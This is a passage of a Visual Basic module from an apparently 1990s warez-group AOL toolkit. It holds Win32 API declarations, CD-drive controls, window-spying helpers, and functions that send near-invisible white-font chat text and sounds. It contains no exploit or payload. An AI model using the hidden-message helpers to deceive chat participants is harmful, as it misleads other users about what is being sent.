home *** CD-ROM | disk | FTP | other *** search
Wrap
Attribute VB_Name = "ErrorRreV" '***ANYTHING WITHOUT AOL30 IN FRONT OF IT IS FOR 4.0 OR IS NON AOL*** 'Mail me at Hangu21@hotmail.com 'visit www.ErrorRCrew.com 'Props to all ErrorR member's, we are trying to 'conclude all these issues with lamer's ' we are trying to bring back some of the last hope 'in ware'z many people fuck up, many get hacked. 'fucking lamer's fuck all the things up 'ErrorR \X/aReZ 'Prop's to 'D/X\X, THuG, ViSio(V, FRea|<, Da|>, SCu(V), RoB, Za(Ve ' DiRT, BeeR, (VoTHi(V, BaR|= BeeR, SouL, SCaP ' STaBeR, DicK TraCY, SLiM, GHoST, TroPp ' SeNaTe, FreeZN, SK8, H2O,L33Te|2 'SendChat " |»|»»||»|\»'\|»|\»'\á/»/\»\|»|\»'\|»|\»\" 'SendChat " |≈|»|'''|/ / |'|/ / |''|≈|á|≈||≈ /| ||≈/'" 'SendChat " |≈|_|╕|≈|\»\'|≈|\»\''|≈|á|á|| | \»\|≈|\»\'" 'SendChat " |_|__||_|á|_||_|á|_|á\_\/_/|_|á|_||_| |_|" 'BlackRed " -=(▓¢y: (V)rRδVr╦(\/ =-" Private Declare Function mciGetErrorString Lib "WinMM.dll" Alias "mciGetErrorStringA" (ByVal dwError As Long, ByVal lpstrBuffer As String, ByVal uLength As Long) As Long Private Declare Function mciSendString Lib "WinMM.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Integer, ByVal X As Integer, ByVal Y As Integer, ByVal nWidth As Integer, ByVal nHeight As Integer, ByVal hSrcDC As Integer, ByVal xSrc As Integer, ByVal ySrc As Integer, ByVal dwRop As Long) As Integer Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long Declare Function ExitWindows Lib "user32" Alias "ExitWindowsEx" (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long 'Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, lpSecurityAttributes As Any, phkResult As Long, lpdwDisposition As Long) As Long Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpVlueName As String, ByVal Reserved As Long, dwType As Long, lpData As Any, ByVal cbData As Long) As Long Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Any, ByVal fuWinIni As Long) As Long Declare Function GetPrivateProfileString Lib "Kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long Declare Function WritePrivateProfileString Lib "Kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpstring As Any, ByVal lpFileName As String) As Long Declare Function MoveWindow Lib "user32" (ByVal hwnd As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal bRepaint As Long) As Long Declare Function GetPrivateProfileSection Lib "Kernel32" Alias "GetPrivateProfileSectionA" (ByVal lpAppName As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long Declare Function WritePrivateProfileSection Lib "Kernel32" Alias "WritePrivateProfileSectionA" (ByVal lpAppName As String, ByVal lpstring As String, ByVal lpFileName As String) As Long Declare Function BringWindowToTop Lib "user32" (ByVal hwnd As Long) As Long Declare Function EnableWindow Lib "user32" (ByVal hwnd As Long, ByVal fEnable As Long) As Long Declare Function ReleaseCapture Lib "user32" () As Long Private Declare Function WindowFromPointXY Lib "user32" Alias "WindowFromPoint" (ByVal xPoint As Long, ByVal yPoint As Long) As Long Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long Declare Function RegisterClipboardFormat Lib "user32" Alias "RegisterClipboardFormatA" (ByVal lpstring As String) As Long Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpstring As String) As Long Public Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long Declare Function IsWindowEnabled Lib "user32" (ByVal hwnd As Long) As Long Declare Function IsWindowVisible Lib "user32" (ByVal hwnd As Long) As Long Declare Function Beep Lib "Kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long Private Declare Function ReadProcessMemory Lib "Kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As String, ByVal nSize As Long, ByRef lpNumberOfBytesWritten As Long) As Long Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long Declare Function GetClientRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long Declare Function CombineRgn Lib "gdi32" (ByVal hDestRgn As Long, ByVal hSrcRgn1 As Long, ByVal hSrcRgn2 As Long, ByVal nCombineMode As Long) As Long Declare Function CreateRectRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long Declare Function ScreenToClient Lib "user32" (ByVal hwnd As Long, lpPoint As POINTAPI) As Long Private Declare Function OpenProcess Lib "Kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Declare Function CloseHandle Lib "Kernel32" (ByVal hObject As Long) As Long Private Declare Sub RtlMoveMemory Lib "Kernel32" (ByRef dest As Any, ByRef Source As Any, ByVal nBytes As Long) Declare Function RedrawWindow Lib "user32" (ByVal hwnd As Long, lprcUpdate As RECT, ByVal hrgnUpdate As Long, ByVal fuRedraw As Long) As Long Declare Function GetWindowRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long Declare Function SetParent Lib "user32" (ByVal hWndChild As Long, ByVal hWndNewParent As Long) As Long Declare Function dwGetStringFromLPSTR Lib "dwspy32.dll" (ByVal lpcopy As Long) As String Public Declare Function CreateEllipticRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long Public Declare Function SetWindowRgn Lib "user32" (ByVal hwnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long Declare Sub dwCopyDataBynum Lib "dwspy32.dll" Alias "dwCopyData" (ByVal Source&, ByVal dest&, ByVal nCount&) Private Declare Function GetMenu Lib "user32" (ByVal hwnd As Long) As Long Private Declare Function GetSubMenu Lib "user32" (ByVal hMenu As Long, ByVal nPos As Long) As Long Private Declare Function SetMenuItemBitmaps Lib "user32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wflags As Long, ByVal hBitmapUnchecked As Long, ByVal hBitmapChecked As Long) As Long Declare Function dwGetAddressForObject& Lib "dwspy32.dll" (object As Any) Declare Sub dwCopyDataByString Lib "dwspy32.dll" Alias "dwCopyData" (ByVal Source As String, ByVal dest As Long, ByVal nCount&) Declare Function dwXCopyDataBynumFrom& Lib "dwspy32.dll" Alias "dwXCopyDataFrom" (ByVal mybuf As Long, ByVal foreignbuf As Long, ByVal size As Integer, ByVal foreignPID As Long) Declare Function dwGetWndInstance& Lib "dwspy32.dll" (ByVal hwnd&) Declare Function RegisterWindowMessage& Lib "user32" Alias "RegisterWindowMessageA" (ByVal lpstring As String) Declare Function GetWindowLong& Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) Declare Function EnumWindows& Lib "user32" (ByVal lpEnumFunc As Long, ByVal lParam As Long) Declare Function SendMessageByNum& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) Declare Function GetClassName& Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Declare Function DrawMenuBar Lib "user32" (ByVal hwnd As Long) As Long Declare Function ShellAbout Lib "shell32.dll" Alias "ShellAboutA" (ByVal hwnd As Long, ByVal szApp As String, ByVal szOtherStuff As String, ByVal hIcon As Long) As Long Declare Function GetParent Lib "user32" (ByVal hwnd As Long) As Long 'Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long 'Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Integer, ByVal lParam As Long) As Long Declare Function CreatePopupMenu Lib "user32" () As Long Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long Declare Function GetDesktopWindow Lib "user32" () As Long Declare Function GetMenuItemID Lib "user32" (ByVal hMenu As Long, ByVal nPos As Long) As Long Declare Function GetMenuItemCount Lib "user32" (ByVal hMenu As Long) As Long Declare Function GetWindowsDirectory Lib "Kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long Declare Function GetTopWindow Lib "user32" (ByVal hwnd As Long) As Long Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hwndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wflags As Long) As Long Declare Function WindowFromPoint Lib "user32" (ByVal xPoint As Long, ByVal yPoint As Long) As Long Declare Function SetFocusAPI Lib "user32" Alias "SetFocus" (ByVal hwnd As Long) As Long Declare Function GetMenuString Lib "user32" Alias "GetMenuStringA" (ByVal hMenu As Long, ByVal wIDItem As Long, ByVal lpstring As String, ByVal nMaxCount As Long, ByVal wFlag As Long) As Long Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpstring As String, ByVal cch As Long) As Long Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long Declare Function InsertMenu Lib "user32" Alias "InsertMenuA" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wflags As Long, ByVal wIDNewItem As Long, ByVal lpNewItem As String) As Long Declare Function AppendMenu Lib "user32" Alias "AppendMenuA" (ByVal hMenu As Long, ByVal wflags As Long, ByVal wIDNewItem As Long, ByVal lpNewItem As String) As Long Declare Function RemoveMenu Lib "user32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wflags As Long) As Long Declare Function DeleteMenu Lib "user32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wflags As Long) As Long Declare Function DestroyMenu Lib "user32" (ByVal hMenu%) As Integer Declare Function sndPlaySound Lib "WinMM.dll" Alias "sndPlaySoundA" (ByVal lpszSoundName As String, ByVal uFlags As Long) As Long Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Public Declare Function SendMessageLong& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Public Const GWL_WNDPROC = -4 Public Const SND_SYNC = &H0 Public Const SND_ASYNC = &H1 Public Const SND_NODEFAULT = &H2 Public Const SND_MEMORY = &H4 Public Const SND_ALIAS = &H10000 Public Const SND_FILENAME = &H20000 Public Const SND_RESOURCE = &H40004 Public Const SND_ALIAS_ID = &H110000 Public Const SND_ALIAS_START = 0 Public Const SND_LOOP = &H8 Public Const SND_NOSTOP = &H10 Public Const SND_VALID = &H1F Public Const SND_NOWAIT = &H2000 Public Const SND_VALIDFLAGS = &H17201F Public Const SND_RESERVED = &HFF000000 Public Const SND_TYPE_MASK = &H170007 Public Const WM_CHAR = &H102 Public Const WM_SETTEXT = &HC Public Const WM_USER = &H400 Public Const WM_KEYDOWN = &H100 Public Const WM_KEYUP = &H101 Public Const WM_LBUTTONDOWN = &H201 Public Const WM_LBUTTONUP = &H202 Public Const WM_CLOSE = &H10 Public Const WM_COMMAND = &H111 Public Const WM_CLEAR = &H303 Public Const WM_DESTROY = &H2 Public Const WM_GETTEXT = &HD Public Const WM_GETTEXTLENGTH = &HE Public Const WM_LBUTTONDBLCLK = &H203 Public Const BM_GETCHECK = &HF0 Public Const BM_GETSTATE = &HF2 Public Const BM_SETCHECK = &HF1 Public Const BM_SETSTATE = &HF3 Public Const EM_GETLINE = &HC4 Public Const LB_GETITEMDATA = &H199 Public Const LB_GETCOUNT = &H18B Public Const LB_ADDSTRING = &H180 Public Const LB_DELETESTRING = &H182 Public Const LB_FINDSTRING = &H18F Public Const LB_FINDSTRINGEXACT = &H1A2 Public Const LB_GETCURSEL = &H188 Public Const LB_GETTEXT = &H189 Public Const LB_GETTEXTLEN = &H18A Public Const LB_SELECTSTRING = &H18C Public Const LB_SETCOUNT = &H1A7 Public Const LB_SETCURSEL = &H186 Public Const LB_SETSEL = &H185 Public Const LB_INSERTSTRING = &H181 Public Const RGN_AND = 1 Public Const RGN_COPY = 5 Public Const RGN_DIFF = 4 Public Const RGN_OR = 2 Public Const RGN_XOR = 3 Public Const VK_HOME = &H24 Public Const VK_RIGHT = &H27 Public Const VK_CONTROL = &H11 Public Const VK_DELETE = &H2E Public Const VK_DOWN = &H28 Public Const VK_LEFT = &H25 Public Const VK_RETURN = &HD Public Const VK_SPACE = &H20 Public Const VK_TAB = &H9 Public Const VK_UP = &H26 Public Const ENTER_KEY = 13 Public Const EWX_FORCE = 4 Public Const EWX_LOGOFF = 0 Public Const EWX_REBOOT = 2 Public Const EWX_SHUTDOWN = 1 Public Const HWND_TOP = 0 Public Const HWND_TOPMOST = -1 Public Const HWND_NOTOPMOST = -2 Public Const SWP_NOMOVE = &H2 Public Const SWP_NOSIZE = &H1 Public Const flags = SWP_NOMOVE Or SWP_NOSIZE Public Const GW_CHILD = 5 Public Const GW_HWNDFIRST = 0 Public Const GW_HWNDLAST = 1 Public Const GW_HWNDNEXT = 2 Public Const GW_HWNDPREV = 3 Public Const GW_OWNER = 4 Public Const SW_MAXIMIZE = 3 Public Const SW_MINIMIZE = 6 Public Const SW_HIDE = 0 Public Const SW_RESTORE = 9 Public Const SW_SHOW = 5 Public Const SW_SHOWDEFAULT = 10 Public Const SW_SHOWMAXIMIZED = 3 Public Const SW_SHOWMINIMIZED = 2 Public Const SW_SHOWMINNOACTIVE = 7 Public Const SW_SHOWNOACTIVATE = 4 Public Const SW_SHOWNORMAL = 1 Public Const MF_APPEND = &H100& Public Const MF_DELETE = &H200& Public Const MF_CHANGE = &H80& Public Const MF_ENABLED = &H0& Public Const MF_DISABLED = &H2& Public Const MF_REMOVE = &H1000& Public Const MF_POPUP = &H10& Public Const MF_STRING = &H0& Public Const MF_UNCHECKED = &H0& Public Const MF_CHECKED = &H8& Public Const MF_GRAYED = &H1& Public Const MF_BYPOSITION = &H400& Public Const MF_BYCOMMAND = &H0& Public Const GWW_HINSTANCE = (-6) Public Const GWW_ID = (-12) Public Const GWL_STYLE = (-16) Public Const PROCESS_VM_READ = &H10 Public Const STANDARD_RIGHTS_REQUIRED = &HF0000 Public Const WM_NCMOUSEMOVE = &HA0 Public Const WM_NCLBUTTONDOWN = &HA1 Public Const WM_NCLBUTTONUP = &HA2 Public Const HTERROR = (-2) Public Const HTTRANSPARENT = (-1) Public Const HTNOWHERE = 0 Public Const HTCLIENT = 1 Public Const HTCAPTION = 2 Public Const HTSYSMENU = 3 Public Const HTGROWBOX = 4 Public Const HTSIZE = HTGROWBOX Public Const HTMENU = 5 Public Const HTHSCROLL = 6 Public Const HTVSCROLL = 7 Public Const HTMINBUTTON = 8 Public Const HTMAXBUTTON = 9 Public Const HTLEFT = 10 Public Const HTRIGHT = 11 Public Const HTTOP = 12 Public Const HTTOPLEFT = 13 Public Const HTTOPRIGHT = 14 Public Const HTBOTTOM = 15 Public Const HTBOTTOMLEFT = 16 Public Const HTBOTTOMRIGHT = 17 Public Const HTBORDER = 18 Public Const HTREDUCE = HTMINBUTTON Public Const HTZOOM = HTMAXBUTTON Public Const HTSIZEFIRST = HTLEFT Public Const HTSIZELAST = HTBOTTOMRIGHT Public Const Plug = "Hound_Dog" Public GiveClsNam As Long Public Const SRCCOPY = &HCC0020 Public Const SRCAND = &H8800C6 Public Const SRCINVERT = &H660046 Public Const blue = "0000FF" Public Const LBlue = "#33CCFF" Public Const DBlue = "#000088" Public Const green = "#00CC00" Public Const LGreen = "#00FF00" Public Const DGreen = "#006600" Public Const red = "#FF0000" Public Const DRed = "#AA0000" Public Const Yellow = "#FFFF00" Public Const Grey = "#BBBBBB" Public Const LGrey = "#DDDDDD" Public Const DGrey = "#999999" Public Const Orange = "FF9900" Public Const Purple = "CC33CC" Public Const Pink = "#FF6699" 'REGISTRY CONSTANTS Private Const REG_SZ = 1 Private Const HKEY_CURRENT_USER = &H80000001 Private Const HKEY_LOCAL_MACHINE = &H80000002 Private Const REG_OPTION_NON_VOLATILE = 0 Private Const SYNCHRONIZE = &H100000 Private Const STANDARD_RIGHTS_ALL = &H1F0000 Private Const KEY_QUERY_VALUE = &H1 Private Const KEY_SET_VALUE = &H2 Private Const KEY_CREATE_SUB_KEY = &H4 Private Const KEY_ENUMERATE_SUB_KEYS = &H8 Private Const KEY_NOTIFY = &H10 Private Const KEY_CREATE_LINK = &H20 Private Const ERROR_SUCCESS = 0& Private Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or KEY_QUERY_VALUE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Or KEY_CREATE_LINK) And (Not SYNCHRONIZE)) Public Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long Const CLR_MENUBAR = &H80000004 Const Number_of_Menu_Selections = 3 Const WM_SYSCOMMAND = &H112 Const SC_MOVE = &HF012 Const WA_INACTIVE = 0 Const WA_ACTIVE = 1 Const WA_CLICKACTIVE = 2 Const WM_SETFOCUS = &H7 Const WM_KILLFOCUS = &H8 Const WM_ENABLE = &HA Const WM_SETREDRAW = &HB Const WM_PAINT = &HF Const WM_QUERYENDSESSION = &H11 Const WM_QUIT = &H12 Const WM_QUERYOPEN = &H13 Const WM_ERASEBKGND = &H14 Const WM_SYSCOLORCHANGE = &H15 Const WM_ENDSESSION = &H16 Const WM_SHOWWINDOW = &H18 Const WM_WININICHANGE = &H1A Const WM_DEVMODECHANGE = &H1B Const WM_ACTIVATEAPP = &H1C Const WM_FONTCHANGE = &H1D Const WM_TIMECHANGE = &H1E Const WM_CANCELMODE = &H1F Const WM_SETCURSOR = &H20 Const WM_MOUSEACTIVATE = &H21 Const WM_CHILDACTIVATE = &H22 Const WM_QUEUESYNC = &H23 Const WM_GETMINMAXINFO = &H24 Const WM_PAINTICON = &H26 Const WM_ICONERASEBKGND = &H27 Const WM_NEXTDLGCTL = &H28 Const WM_SPOOLERSTATUS = &H2A Const WM_DRAWITEM = &H2B Const WM_MEASUREITEM = &H2C Const WM_DELETEITEM = &H2D Const WM_VKEYTOITEM = &H2E Const WM_CHARTOITEM = &H2F Const WM_SETFONT = &H30 Const WM_GETFONT = &H31 Const WM_SETHOTKEY = &H32 Const WM_GETHOTKEY = &H33 Const WM_QUERYDRAGICON = &H37 Const WM_COMPAREITEM = &H39 Const WM_COMPACTING = &H41 Const CN_RECEIVE = &H1 Const CN_TRANSMIT = &H2 Const CN_EVENT = &H4 Const WM_WINDOWPOSCHANGING = &H46 Const WM_WINDOWPOSCHANGED = &H47 Const WM_POWER = &H48 Type COPYDATASTRUCT dwData As Long cbData As Long lpData As Long End Type Const WM_NCCREATE = &H81 Const WM_NCDESTROY = &H82 Const WM_NCCALCSIZE = &H83 Const WM_NCHITTEST = &H84 Const WM_NCPAINT = &H85 Const WM_NCACTIVATE = &H86 Const WM_GETDLGCODE = &H87 Const WM_NCLBUTTONDBLCLK = &HA3 Const WM_NCRBUTTONDOWN = &HA4 Const WM_NCRBUTTONUP = &HA5 Const WM_NCRBUTTONDBLCLK = &HA6 Const WM_NCMBUTTONDOWN = &HA7 Const WM_NCMBUTTONUP = &HA8 Const WM_NCMBUTTONDBLCLK = &HA9 Const WM_KEYFIRST = &H100 Const WM_DEADCHAR = &H103 Const WM_SYSKEYDOWN = &H104 Const WM_SYSKEYUP = &H105 Const WM_SYSCHAR = &H106 Const WM_SYSDEADCHAR = &H107 Const WM_KEYLAST = &H108 Const WM_INITDIALOG = &H110 Const WM_TIMER = &H113 Const WM_HSCROLL = &H114 Const WM_VSCROLL = &H115 Const WM_INITMENU = &H116 Const WM_INITMENUPOPUP = &H117 Const WM_MENUSELECT = &H11F Const WM_MENUCHAR = &H120 Const WM_ENTERIDLE = &H121 Const WM_CTLCOLORMSGBOX = &H132 Const WM_CTLCOLOREDIT = &H133 Const WM_CTLCOLORLISTBOX = &H134 Const WM_CTLCOLORBTN = &H135 Const WM_CTLCOLORDLG = &H136 Const WM_CTLCOLORSCROLLBAR = &H137 Const WM_CTLCOLORSTATIC = &H138 Const WM_MOUSEFIRST = &H200 Const WM_MOUSEMOVE = &H200 Const WM_RBUTTONDOWN = &H204 Const WM_RBUTTONUP = &H205 Const WM_RBUTTONDBLCLK = &H206 Const WM_MBUTTONDOWN = &H207 Const WM_MBUTTONUP = &H208 Const WM_MBUTTONDBLCLK = &H209 Const WM_MOUSELAST = &H209 Const WM_PARENTNOTIFY = &H210 Const WM_ENTERMENULOOP = &H211 Const WM_EXITMENULOOP = &H212 Const WM_MDICREATE = &H220 Const WM_MDIDESTROY = &H221 Const WM_MDIACTIVATE = &H222 Const WM_MDIRESTORE = &H223 Const WM_MDINEXT = &H224 Const WM_MDIMAXIMIZE = &H225 Const WM_MDITILE = &H226 Const WM_MDICASCADE = &H227 Const WM_MDIICONARRANGE = &H228 Const WM_MDIGETACTIVE = &H229 Const WM_MDISETMENU = &H230 Const WM_DROPFILES = &H233 Const WM_MDIREFRESHMENU = &H234 Const WM_CUT = &H300 Const WM_COPY = &H301 Const WM_PASTE = &H302 Const WM_UNDO = &H304 Const WM_RENDERFORMAT = &H305 Const WM_RENDERALLFORMATS = &H306 Const WM_DESTROYCLIPBOARD = &H307 Const WM_DRAWCLIPBOARD = &H308 Const WM_PAINTCLIPBOARD = &H309 Const WM_VSCROLLCLIPBOARD = &H30A Const WM_SIZECLIPBOARD = &H30B Const WM_ASKCBFORMATNAME = &H30C Const WM_CHANGECBCHAIN = &H30D Const WM_HSCROLLCLIPBOARD = &H30E Const WM_QUERYNEWPALETTE = &H30F Const WM_PALETTEISCHANGING = &H310 Const WM_PALETTECHANGED = &H311 Const WM_HOTKEY = &H312 Const WM_PENWINFIRST = &H380 Const WM_PENWINLAST = &H38F Const WM_NULL = &H0 Const WM_CREATE = &H1 Const WM_MOVE = &H3 Const WM_SIZE = &H5 Const WM_ACTIVATE = &H6 Type RECT Left As Long Top As Long Right As Long bottom As Long End Type Type POINTAPI X As Long Y As Long End Type Function CDCheck%() Dim s As String * 30 mciSendString "status cd media present", s, Len(s), 0 CDCheck = s End Function Function CDConv_Sec() 'convert time into seconds Dim T As String * 50 Dim I, RSec, Seconds, FSeconds, MTS As Integer Dim ms As String T = CDPosition2 MTS = Mid(T, 1, 2) FSeconds = MTS * 60 RSec = Mid(T, 4, 2) Seconds = (FSeconds + RSec) CDConv_Sec = Seconds End Function Function CDCurrTrack() Dim s As String * 50 mciSendString "status cd current track", s, Len(s), 0 CDCurrTrack = s End Function Function CDDoorClose() mciSendString "set cd door closed", 0, 0, 0 End Function Function CDDoorOpen() mciSendString "set cd door open", 0, 0, 0 End Function Function CDFastForward(Spd) Dim s As String * 40 CDSetFormat_millisec mciSendString "status cd position wait", s, Len(s), 0 If CDIsPlaying = True Then mciSendString "play cd from " & CStr(CLng(s) + Spd), 0, 0, 0 Else mciSendString "seek cd to " & CStr(CLng(s) + Spd), 0, 0, 0 End If CDSetFormat_tmsf End Function Function CDGetNumTracks%() Dim s As String * 30 mciSendString "status cd number of tracks wait", s, Len(s), 0 CDGetNumTracks = CInt(Mid$(s, 1, 2)) End Function Function CDIsPlaying() As Boolean CDIsPlaying = False Dim s As String * 50 mciSendString "status cd mode", s, Len(s), 0 If Mid$(s, 1, 7) = "playing" Then CDIsPlaying = True Else CDIsPlaying = False End If End Function Function CDLength$() Dim s As String * 30 mciSendString "status cd length wait", s, Len(s), 0 CDLength = s End Function Function CDPause() mciSendString "pause cd", 0, 0, 0 End Function Function CDPlay() 'MAKE SURE YOU USE 'Call CDSetPlayerReady -FIRST!! 'use that to reset to 0 too mciSendString "play cd", 0, 0, 0 End Function Function CDPosition() Dim mm, Sec, Min, Track As Integer Dim s As String * 30 mciSendString "status cd position", s, Len(s), 0 Track = CInt(Mid$(s, 1, 2)) Min = CInt(Mid$(s, 4, 2)) Sec = CInt(Mid$(s, 7, 2)) CDPosition = "Track[" & Track & "] Min[" & Min & "] Sec[" & Sec & "]" End Function Function CDPosition2() Dim s As String * 30 mciSendString "status cd position", s, Len(s), 0 Min = (Mid$(s, 4, 2)) Sec = (Mid$(s, 7, 2)) CDPosition2 = Min & ":" & Sec End Function Function CDPositionLong() Dim s As String * 30 mciSendString "status cd position", s, Len(s), 0 l = Mid$(s, 1, Len(s)) CDPositionLong = l End Function Function CDReWind(Spd%) Dim s As String * 40 CDSetFormat_millisec mciSendString "status cd position wait", s, Len(s), 0 If CDIsPlaying = 1 Then mciSendString "play cd from " & CStr(CLng(s) - Spd), 0, 0, 0 Else mciSendString "seek cd to " & CStr(CLng(s) - Spd), 0, 0, 0 End If CDSetFormat_tmsf End Function Function CDSeekToX(Track) CDStop CDSetTrack Track CDPlay End Function Function CDSetFormat_millisec() mciSendString "set cd time format milliseconds", 0, 0, 0 End Function Function CDSetFormat_seconds() mciSendString "set cd time format seconds", 0, 0, 0 End Function Function CDSetFormat_tmsf() mciSendString "set cd time format tmsf wait", 0, 0, 0 End Function Function CDSetPlayerReady() mciSendString "open cdaudio alias cd wait shareable", 0, 0, 0 End Function Function CDSetTrack(Track) mciSendString "seek cd to " & Str(Track), 0, 0, 0 End Function Function CDStop() mciSendString "stop cd wait", 0, 0, 0 End Function Function CDTrackLength(TrackNum) Dim s As String * 30 mciSendString "status cd length track " & TrackNum, s, Len(s), 0 CDTrackLength = s End Function Function CDUnload() mciSendString "close all", 0, 0, 0 End Function Sub Chat_CloseRoom() Dim Room%, closeit Room% = FindChat closeit = SendMessage(Room%, WM_CLOSE, 0, 0&) End Sub Function AOL_SetFocus() Dim aol% aol% = FindWindow("AOL Frame25", vbNullString) Call FocusSet(aol%) End Function Function APISpy_ClassName() handl% = APISpy_MouseOver bspace$ = String$(250, 0) classname% = GetClassName(handl%, bspace$, 250) APISpy_ClassName = bspace$ End Function Function APISpy_MouseOver() Dim CurP As POINTAPI Dim NowP% Dim ThenP% Call GetCursorPos(CurP) NowP% = WindowFromPoint(CurP.X, CurP.Y) If NowP% <> ThenP% Then ThenP% = NowP% APISpy_MouseOver = NowP% End If End Function Function APISpy_Parent() Dim Parnt% Parnt% = GetParent(APISpy_MouseOver) APISpy_Parent = Parnt% End Function Function APISpy_ParentName() winhand% = APISpy_Parent pspace$ = String$(250, 0) pclassname% = GetClassName(winhand%, pspace$, 250) APISpy_ParentName = pspace$ End Function Function APISpy_WindowText() Dim WinTLen%, WindowText%, Spce$ WinTLen% = GetWindowTextLength(APISpy_MouseOver) Spce$ = String$(WinTLen%, 0) WindowText% = GetWindowText(APISpy_MouseOver, Spce$, (WinTLen% + 1)) APISpy_WindowText = Spce$ End Function Function ChatInvisibleSound(WavName As String) Call ErrorRsenD("<Font Color=" & Chr(34) & "#FFFFFE" & Chr(34) & ">{S " & WavName) End Function Function ChatSendInvisible(txt As String) Call ErrorRsenD("<Font Color=" & Chr(34) & "#FFFFFE" & Chr(34) & ">" & txt) End Function Public Function ReplaceString(MyString As String, ToFind As String, ReplaceWith As String) As String Dim Spot As Long, NewSpot As Long, LeftString As String Dim RightString As String, NewString As String Spot& = 